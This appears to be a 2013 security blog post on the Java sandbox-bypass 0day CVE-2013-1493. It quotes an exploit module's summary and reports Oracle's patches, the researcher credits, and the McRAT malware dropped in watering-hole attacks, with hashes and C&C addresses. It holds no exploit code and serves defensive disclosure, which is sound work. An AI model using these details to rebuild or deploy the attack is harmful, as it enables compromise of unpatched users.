Oracle Java SE 7 Update 15 and before
Oracle Java SE 6 Update 41 and before
Tested on :
Windows 7 SP1 with Java SE 7 Update 15
This module abuses the Color Management classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41 and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1 systems. This exploit doesn’t bypass click-to-play, so the user must accept the java warning in order to run the malicious applet.

Oracle, stressed by the new Java 0day discovered exploited in the wild, seem to have release new updates for Java 7, Java 6 and Java 5. Java 7 is updated to version 1.7.0_17, Java 6 is updated to version 1.6.0_43 and Java 5 is updated to version 1.5.0_41.
These update are pushed an “Oracle Security Alert for CVE-2013-1493” who fix CVE-2013-1493 vulnerability related to the Java 0day, but also another vulnerability, aka CVE-2013-0809, affecting Java running in web browsers. Both vulnerabilities have a CVSS base score of 10.0 and are remotely exploitable without authentication.
Vulnerabilities are credited to an anonymous Reporter of TippingPoint’s Zero Day Initiative, axtaxt via Tipping Point’s Zero Day Initiative, Darien Kindlund of FireEye, Vitaliy Toropov via iDefense and to Vitaliy Toropov via TippingPoint. As you may remember, CVE-2013-1493 was discovered exploited in the wild by FireEye, but it seem that this vulnerability was also previously discovered by a security researcher working with 0day brokers. It is not the first time that we see 0days exploited in the wild, previously reported to 0day brokers !
Also, Security Explorations, a security firm responsible for identifying most of the latest Java vulnerabilities, is not credited for any of the patched vulnerabilities. So they are still bunch off reported vulnerabilities in Java.
Last but not least, Security Explorations has report, today, five new security issues for Java 7 who can be used to gain a complete Java security sandbox bypass in the environmentof Java SE 7 Update 15.
FireEye has report, in a blog post, the discovery of a new Oracle Java 0day targeting latest versions JSE 6 Update 41 and JSE 7 Update 15.
After successful exploitation of the newly discovered vulnerability, CVE-2013-1493, “svchost.jpg” (b6c8ede9e2153f2a1e650dfa05b59b99) file is loaded from the same server hosting the Java 0day. Then McRAT (aka Trojan.Naid) malware (4d519bf53a8217adc4c15d15f0815993) is dropped. Regarding the detection ratio of this malware (21/46), it seem that the Java 0day could be used in Exploit Pack.
Symantec has report some connections through the new Oracle Java 0day with the Bit9 security incident. In the actual Java 0day security incident case, “appmgmt.dll” file, dropped by “svchost.jpg“, is detected by Symantec as Trojan.Naid. Trojan.Naid sample is connecting 184.108.40.206 C&C server. In the Bit9 security incident case, Trojan.Naid was also present and also connecting to 220.127.116.11 C&C server. Symantec detect this Java 0day as “Trojan.Maljava.B” and regarding associated threat assessment, less than 49 computers were infected and less than 2 websites were used in the watering hole attack.
Some security researchers are actually studying the sample, it is question of days before this 0day will be widely exploited.
We advise you to deactivate Java plug-in execution asap.
